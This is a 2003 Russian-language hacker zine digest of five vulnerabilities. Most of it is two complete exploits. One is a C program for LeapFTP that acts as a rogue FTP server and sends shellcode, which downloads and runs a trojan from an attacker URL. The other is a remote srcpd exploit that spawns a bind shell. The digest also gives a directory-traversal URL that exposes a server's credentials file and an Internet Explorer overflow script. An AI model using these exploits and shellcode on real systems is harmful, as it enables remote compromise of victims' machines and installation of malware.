--------------------------------------------
#! /usr/share/doc/defaced/2/misc/secnews.txt
--------------------------------------------


Security News [ by euronymous ]
-------------

Содержание
==========

1. Directory traversal in NucaWeb Server
2. Internet Explorer >=5.0 : Buffer overflow
3. LeapFTP remote buffer overflow exploit
4. Adobe Acrobat and PDF security
5. Buffer overflows in srcpd



1. Directory traversal in NucaWeb Server
----------------------------------------
Автор: Over_G <[email protected]>
Дата: 10 Июня 2003

Описание:  В  версии 0.01 web-сервера NucaWeb Server имеет место недостаточность
проверки  строки  URL, что позволяет атакующему получить доступ к файлам сервера
за пределами webroot:

http://[адрес_жертвы]/../существующий_файл

Пример: http://[адрес_жертвы]/../webserver.ini

Это   отобразит   конфигурационный   файл   web-сервера,   содержащий  некоторую
чувствительную информацию, такую как логин/пароль на доступ к серверу:

[Configuration]  SSL=0  Port=80 Root=D:\webservers\Nms\web Authentic=0 Username=
Password=


2. Internet Explorer >=5.0 : Buffer overflow
--------------------------------------------
Автор: Digital Scream <[email protected]>
Дата: 22 Июня 2003

Описание:  Попытка  выполнения нижеследующего кода в браузерах Internet Explorer
версий выше 5.0 вызовет переполнение буфера:

<script>
 wnd=open("about:blank","",""); 
 wnd.moveTo(screen.Width,screen.Height);
 WndDoc=wnd.document;
 WndDoc.open();
 WndDoc.clear();
 buffer="";
 for(i=1;i<=127;i++)buffer+="X";
 buffer+="DigitalScream";
 WndDoc.write("<HR align='"+buffer+"'>");
 WndDoc.execCommand("SelectAll");
 WndDoc.execCommand("Copy");
 wnd.close();
</script>

Кстати,  это  переполнение стека, которое может позволить выполнение кода. Такой
код  для  обозначенной  выше  уязвимости  написал  3APA3A.  Читайте его статью в
рассылке bugtraq: `PoC for Internet Explorer >=5.0 buffer overflow'.


3. LeapFTP remote buffer overflow exploit
-----------------------------------------
Автор: drG4njubas <[email protected]>
Дата: 11 Июля 2003

Описание:  В версии LeapFTP 2.7.3.600 существует возможность переполнения буфера
когда  сервер,  в  ответ  на  свой  PASV  запрос, получает длинный адрес IP. Код
эксплоита для данной уязвимости представлен ниже:

/*
,--------------------------------------------.
;   _________ ___   ___   ___ _________      ; 
;  /\   ___  \\  \ /\  \ /\  \\   _____\     ; 
;  \ \ \   \  \\  \  \  \  \  \\  \____/     ;
;   \ \ \   \  \\  \  \  \  \  \\  \         ;
;    \ \ \___\  \\  \__\  \__\  \\  \_____   ; 
;     \ \______ / \______________\\_______\  ;  
;      \/______/ \/______________//_______/  ;
;                                            ;
`--------------------------------------------'
,--------------------------------------------.
;   LeapFTP remote buffer overflow exploit   ;  
;         by drG4njubas \\ DWC Group         ;
`--------------------------------------------'
,--------------------------------------------.
;This exploit works against LeapFTP 2.7.3.600;
;running on windows 2000 SP3 russian edition.;
;Technical details: When LeapFTP requests IP ;
;and port by using PASV command if pasv mode ;
;is enabled, it causes the buffer overflow on;
;the stack area if server's reply for this   ; 
;PASV request has a long IP address:         ;
;227 (AAAAAAAAA...(1057 bytes)... ,1,1,1,1,1);
;And this buffer overflow can overwrite a    ;
;Structured Exception Handler on the stack   ;
;area with an arbitrary value by specifying  ;
;the address data over 1057 bytes. If this   ;
;reply contains 0x29 and 0x2E bytes, an      ;
;exception occurs before Structured Exception;
;Handler is overvritten and program continues; 
;it's normal work. Thanks a lot to RaiSe for ;
;his wonderful shellcode. Greets fly to:     ;
;areus, Over_G,  subj,  NeKr0,  crx,  nimber,;
;cydem group,  zud team,  DHGroup,  GipsHack.;
`--------------------------------------------'
,--------------------------------------------.
;              www.dwcgr0up.net              ;
`--------------------------------------------'
*/

#include<winsock.h>
#include<stdio.h>

void main(int argc, char *argv[]){

	printf(",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n");
	printf(";LeapFTP 2.7.3.600  remote buffer overflow exploit;\n");
	printf(";    Coded by drG4njubas \\\\ DWC Security Group    ;\n");
	printf(";                www.dwcgr0up.net                 ;\n");
	printf("'''''''''''''''''''''''''''''''''''''''''''''''''''\n");

	if(argc < 3){
		printf("USAGE   : dwclft273.exe <port> <trojan url>\n");
		printf("EXAMPLE : dwclft273.exe 21 http://www.attacker.com/trojan.exe\n");
		return;
	}

	char exploit[] =
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x30\x5F\xFC\x8B\xF7\x80"
	"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1"
	"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B"
	"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40"
	"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D"
	"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33"
	"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80"
	"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6"
	"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02"
	"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03"
	"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03"
	"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76"
	"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06"
	"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02"
	"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D"
	"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC"
	"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1"
	"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53"
	"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9"
	"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0"
	"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D"
	"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B"
	"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1"
	"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4"
	"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0"
	"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4"
	"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0"
	"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75"
	"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2d\x64"
	"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F"
	"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F"
	"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F"
	"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50"
	"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2d\x64\x6C\x6C\x08\x49"
	"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65"
	"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65"
	"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65"
	"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2d\x65\x78\x65\x08\x68"
	"\x74\x74\x70\x3A\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
	"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
	"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
	"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
	"\x93\x93\x93\x93\x93\x93\x93\x93\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x25\x49\xE1"
	"\x77\x90\x90\x90\x90\xFE\x83\x75\xFE\xFF\xFF\xFE\x83\xD5\xFE\xFF\xFF\xFE\x83\x25"
	"\xFF\xFF\xFF\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x80\xAB\x2F\xFF\xFF\xFF\x03\x80\xAB\x30\xFF\xFF\xFF\x03\x80\xAB\x31\xFF\xFF\xFF"
	"\x03\x80\xAB\x32\xFF\xFF\xFF\x03\x80\xAB\x33\xFF\xFF\xFF\x03\x80\xAB\x34\xFF\xFF"
	"\xFF\x03\x80\xAB\x35\xFF\xFF\xFF\x03\x80\xAB\x36\xFF\xFF\xFF\x03\x80\xAB\x37\xFF"
	"\xFF\xFF\x03\x80\xAB\x38\xFF\xFF\xFF\x03\x80\xAB\x39\xFF\xFF\xFF\x03\x80\xAB\x3A"
	"\xFF\xFF\xFF\x03\x80\xAB\x3B\xFF\xFF\xFF\x03\x80\xAB\x3C\xFF\xFF\xFF\x03\x80\xAB"
	"\x3D\xFF\xFF\xFF\x03\x80\xAB\x3E\xFF\xFF\xFF\x03\x80\xAB\x3F\xFF\xFF\xFF\x03\x80"
	"\xAB\x40\xFF\xFF\xFF\x03\x80\xAB\x41\xFF\xFF\xFF\x03\x80\xAB\x42\xFF\xFF\xFF\x03"
	"\x80\xAB\x43\xFF\xFF\xFF\x03\x80\xAB\x44\xFF\xFF\xFF\x03\x80\xAB\x45\xFF\xFF\xFF"
	"\x03\x80\xAB\x46\xFF\xFF\xFF\x03\x80\xAB\x47\xFF\xFF\xFF\x03\x80\xAB\x48\xFF\xFF"
	"\xFF\x03\x80\xAB\x49\xFF\xFF\xFF\x03\x80\xAB\x4A\xFF\xFF\xFF\x03\x80\xAB\x4B\xFF"
	"\xFF\xFF\x03\x80\xAB\x4C\xFF\xFF\xFF\x03\x80\xAB\x4D\xFF\xFF\xFF\x03\x80\xAB\x4E"
	"\xFF\xFF\xFF\x03\x80\xAB\x4F\xFF\xFF\xFF\x03\x80\xAB\x50\xFF\xFF\xFF\x03\x80\xAB"
	"\x51\xFF\xFF\xFF\x03\x80\xAB\x52\xFF\xFF\xFF\x03\x80\xAB\x53\xFF\xFF\xFF\x03\x80"
	"\xAB\x54\xFF\xFF\xFF\x03\x80\xAB\x55\xFF\xFF\xFF\x03\x80\xAB\x56\xFF\xFF\xFF\x03"
	"\x80\xAB\x57\xFF\xFF\xFF\x03\x80\xAB\x58\xFF\xFF\xFF\x03\x80\xAB\x59\xFF\xFF\xFF"
	"\x03\x80\xAB\x5A\xFF\xFF\xFF\x03\x80\xAB\x5B\xFF\xFF\xFF\x03\x80\xAB\x5C\xFF\xFF"
	"\xFF\x03\x80\xAB\x5D\xFF\xFF\xFF\x03\x80\xAB\x5E\xFF\xFF\xFF\x03\x80\xAB\x5F\xFF"
	"\xFF\xFF\x03\x80\xAB\x60\xFF\xFF\xFF\x03\x80\xAB\x61\xFF\xFF\xFF\x03\x80\xAB\x62"
	"\xFF\xFF\xFF\x03\x80\xAB\x63\xFF\xFF\xFF\x03\x80\xAB\x64\xFF\xFF\xFF\x03\x80\xAB"
	"\x65\xFF\xFF\xFF\x03\x80\xAB\x66\xFF\xFF\xFF\x03\x80\xAB\x67\xFF\xFF\xFF\x03\x80"
	"\xAB\x68\xFF\xFF\xFF\x03\x80\xAB\x69\xFF\xFF\xFF\x03\x80\xAB\x6A\xFF\xFF\xFF\x03"
	"\x80\xAB\x6B\xFF\xFF\xFF\x03\x80\xAB\x6C\xFF\xFF\xFF\x03\x80\xAB\x6D\xFF\xFF\xFF"
	"\x03\x80\xAB\x6E\xFF\xFF\xFF\x03\x80\xAB\x6F\xFF\xFF\xFF\x03\x80\xAB\x70\xFF\xFF"
	"\xFF\x03\x80\xAB\x71\xFF\xFF\xFF\x03\x80\xAB\x72\xFF\xFF\xFF\x03\x80\xAB\x73\xFF"
	"\xFF\xFF\x03\x80\xAB\x74\xFF\xFF\xFF\x03\x80\xAB\x75\xFF\xFF\xFF\x03\x80\xAB\x76"
	"\xFF\xFF\xFF\x03\x80\xAB\x77\xFF\xFF\xFF\x03\x80\xAB\x78\xFF\xFF\xFF\x03\x80\xAB"
	"\x79\xFF\xFF\xFF\x03\x80\xAB\x7A\xFF\xFF\xFF\x03\x80\xAB\x7B\xFF\xFF\xFF\x03\x80"
	"\xAB\x7C\xFF\xFF\xFF\x03\x80\xAB\x7D\xFF\xFF\xFF\x03\x80\xAB\x7E\xFF\xFF\xFF\x03"
	"\x80\xAB\x7F\xFF\xFF\xFF\x03\x80\x6B\x80\x03\x80\x6B\x81\x03\x80\x6B\x82\x03\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xE9\x61\xF9\xFF\xFF";
	
	char *url = argv[2];

	if(strlen(url)>80){
		printf("ERROR: trojan url is too long!\n");
		return;
	}

	for(unsigned int i = 5; i < strlen(url); i++){
		url[i]+=3;
		exploit[839+i] = url[i];
	}

	exploit[839+i]   = '\x0B';
	exploit[839+i+1] = '\x04';

	WSADATA wsaData;
	WSAStartup(MAKEWORD(2,2), &wsaData);

   	SOCKET listen_Sock = socket(AF_INET,SOCK_STREAM,0);
	SOCKADDR_IN addr_Sock;
	
	addr_Sock.sin_family = AF_INET;
	addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
	addr_Sock.sin_port = htons(atoi(argv[1]));

	printf("Awaiting for connections...\n");

	if(bind(listen_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return;
	if(listen(listen_Sock, 1))return;
	SOCKET victim = accept(listen_Sock,NULL,NULL);
	printf("Victim connected...\n");

	char buffer[2048];
	sprintf(buffer, "220 drG4njubas roxx da world...\r\n");
	send(victim, buffer, strlen(buffer), NULL);
	
	while(true){
		if(recv(victim, buffer, 2048, NULL)==SOCKET_ERROR)return;
		if(strncmp(buffer, "USER", 4)==0){
			sprintf(buffer, "%s\r\n", "331 Password required for user.");
			send(victim, buffer, strlen(buffer), NULL);
		}
		else if(strncmp(buffer, "PASS", 4)==0){
			sprintf(buffer, "%s\r\n", "230 User logged in.");
			send(victim, buffer, strlen(buffer), NULL);
		}
		else if(strncmp(buffer, "SYST", 4)==0){
			sprintf(buffer, "%s\r\n", "215 Windows_NT version 5.0");
			send(victim, buffer, strlen(buffer), NULL);
		}
		else if(strncmp(buffer, "REST", 4)==0){
			sprintf(buffer, "%s\r\n", "350 Restarting at blah.");
			send(victim, buffer, strlen(buffer), NULL);
		}
		else if(strncmp(buffer, "PWD", 3)==0){
			sprintf(buffer, "%s\r\n", "257 Current directory was changed.");
			send(victim, buffer, strlen(buffer), NULL);
		}
		else if(strncmp(buffer, "TYPE", 4)==0){
			sprintf(buffer, "%s\r\n", "200 Type set to blah.");
			send(victim, buffer, strlen(buffer), NULL);
		}
		else if(strncmp(buffer, "PASV", 4)==0){
			printf("PASV command received, sending exploit...");
			sprintf(buffer, "227 (%s,1,1,1,1,1)\r\n", exploit);
			send(victim, buffer, strlen(buffer), NULL);
			printf("finnished.\n");
			break;
		}
		else{
			printf("ERROR: Wrong client or pasv mode is not enabled.\n");
			break;
		}
		
	}
	
	closesocket(victim);
	closesocket(listen_Sock);
	WSACleanup();
} 


4. Adobe Acrobat and PDF security
---------------------------------
Автор: Владимир Каталов <[email protected]>
Дата: 8 Июля 2003

Описание:  Спустя  два  года, детальная информация об уязвимости, обнаруженной в
Adobe  Acrobat  и  Adobe Acrobat Reader, стала публично доступна. Adobe уверяла,
что  исправит  это  в  следующей  версии,  но новая версия вышла практически без
изменений.
Проблема  заключается  в  следующем:  Оба  вышеприведенных продукта поддерживают
плагины, расширяющие их функции. Каждый плагин должен быть подписан сертификатом
Adobe.  Из-за  слабой  его  реализации  существует возможность собственноручного
подписывания плагина, что может привести к удручающим последствиям.
В Adobe Acrobat существует уязвимость, позволяющая загрузить плагин, подписанный
не  Adobe,  если  он  подписан  старым  механизмом сертификации [ до версии 6 ],
который,  в свою очередь, может содеражть код, переводящий AR в режим непроверки
сертификатов  плагинов,  что  позволит  программе  загрузить любой неподписанный
плагин.
Уязвимы все версии Adobe Acrobat Reader и Adobe Acrobat.


5. Buffer overflows in srcpd
----------------------------
Автор: Over_G <[email protected]>
Дата: 21 Августа 2003

srcpd  2.0  [  возможно и другие версии ] имеет ряд целочисленных переполнений и
переполнений  буфера,  как  локальных,  так и удаленных. Данная программа являет
собой  электронную  модель  железной  дороги.  Аббревиатура SRCP означает Simple
Railroad  Command  Protocol. Ниже приведен эксплоит для удаленного использования
уязвимости и порождения оболочки:


/*
 *    m00 Security 
 * www.m00security.org 
 * srcpd  =< 2.0 remote exploit
 * 
 * Audited by h0snp && Over_G.
 * Programmed by h0snp.
 * 2003.
 * ----------
 * Contact: #m00 at irc.wom.ru
 */
 
 
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define SCODELEN	148
#define NOP			0x90
#define RET			0xbf1fcb61






unsigned long int resolve(char *host)
{
	 long i;
	 struct hostent *he;
	 
	 i = inet_addr(host);
	 if (i < 0) 
	 {
	 	he = gethostbyname(host);
	 	if (!he) return (0);
      	 else           return (*(unsigned long *)he->h_addr);      	
  	 }
   	return (i);
}

 
int make_connect(char *address, unsigned short port)
{
	int sock,i;
	struct sockaddr_in peer;
	
	sock = socket(AF_INET,SOCK_STREAM,0);
	if (sock <= 0) return -1;
	
	if (!(i = resolve(address))) return -2; 
		else
		{
			peer.sin_family = AF_INET;
    		peer.sin_addr.s_addr = i;
			peer.sin_port = htons(port);
		}		
	if (!(connect(sock,(struct sockaddr *)&peer,sizeof peer))) return (sock);
		else { close(sock); return -3; }
}

unsigned char scode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x1\x51\xb1\x6\x51\xb1\x1"
"\x51\xb1\x2\x51\x8d\xc\x24\xcd\x80\xb3\x2\xb1\x2\x31\xc9\x51\x51\x51\x80"
"\xc1\x66\x66\x51\xb1\x2\x66\x51\x8d\xc\x24\xb2\x10\x52\x51\x50\x8d\xc\x24"
"\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3\x1\x53\x52\x8d\xc\x24\x31\xc0\xb0\x66"
"\x80\xc3\x3\xcd\x80\x31\xc0\x50\x50\x52\x8d\xc\x24\xb3\x5\xb0\x66\xcd\x80"
"\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x31"
"\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x8"
"\x31\xc9\x51\x53\x8d\xc\x24\x31\xc0\xb0\xb\xcd\x80\x31\xc0\xb0\x01\xcd\x80";


long get_esp(){	__asm__ ("movl %esp,%eax"); }

struct
{
	char* 		 type;
	long  		 ret;
	unsigned int rep;
} targets[]=
{
 {"Red Hat Linux 9.0 x86 srcpd 2.0 (build gcc 3.2.2)",RET,13},
 {"Red Hat Linux 9.0 x86 srcpd 2.0 (from rpm)",0xbf1fcba1,6},
 {"Red Hat Linux 7.3 x86 srcpd 2.0 (from rpm)",0x42931b51,6},
}, dumb;

void usage(char* name)
{
	int i;
	
	printf("\rSrcpd v2.0 remote exploit by m00 Security\n");
	printf("usage: %s -h <host> -p <port> -t <target> [-o <offset>] \n",name);
	printf("avialable targets:\n");
	for (i =0; i< sizeof(targets)/sizeof(dumb); i++)
		printf(" %3d / 0x%.8x / %s \n",i,targets[i].ret,targets[i].type);
	exit(0);
}

 

int main(int argc, char* argv[])
{	
	char* host,*buf,*rcvbuf;
	long  ret = RET/*get_esp()*/,*addr;
	int   rez,port=12340,sock,pos,i,trgt;

	if (argc < 4) usage(argv[0]);
	
	while ((rez = getopt(argc,argv,"h:p:o:t:")) != -1)
		switch (rez)
		{
			case 'h': host = optarg;       break;
			case 'p': port = atoi(optarg); break;
			case 'o': ret -= atol(optarg); break;
			case 't': trgt = atoi(optarg); break;				
			case '?': break;
		}
	printf(" ** ***************************************** **\n"); 		
	printf(" ** Srcpd v2.0 remote exploit by m00 Security **\n");
	printf(" ** ***************************************** **\n");
	printf(" Conneting...");
	if ((sock = make_connect(host,port)) <= 0)
	{
		perror(" connect()");
		exit(-1);		
	}
	ret = targets[trgt].ret;
	printf("OK\n using RET = 0x%x\n",ret);	
	buf    = (char*)malloc(220);
	rcvbuf = (char*)malloc(512);	
	pos = recv(sock,rcvbuf,512,0);	    
	printf(" Sending...");
	if (pos <= 0 || pos == EOF) return -1;	
	send(sock,"go 11111\r\n",10,0);	
	pos = recv(sock,rcvbuf,512,0);	    
	if (pos <= 0 || pos == EOF) return -1;
	memset(buf,NOP,200);
	memcpy(buf,"set 1 lock ",11);
	addr = (long*)(buf+11);
	for (i =0; i< targets[trgt].rep; i++)
		*(addr++) = ret;
	*(addr++) = '\x20';	
	memcpy(buf+targets[trgt].rep*4+12,scode,SCODELEN);
	buf[219] = '\0';
	printf("OK\n");	
	send(sock,buf,220,0);
	printf(" now, if you was lucky with ret, shell spawned on 26112.\n");
	free(buf);
	free(rcvbuf);
	close(sock);
	return 0; 
 }




EOF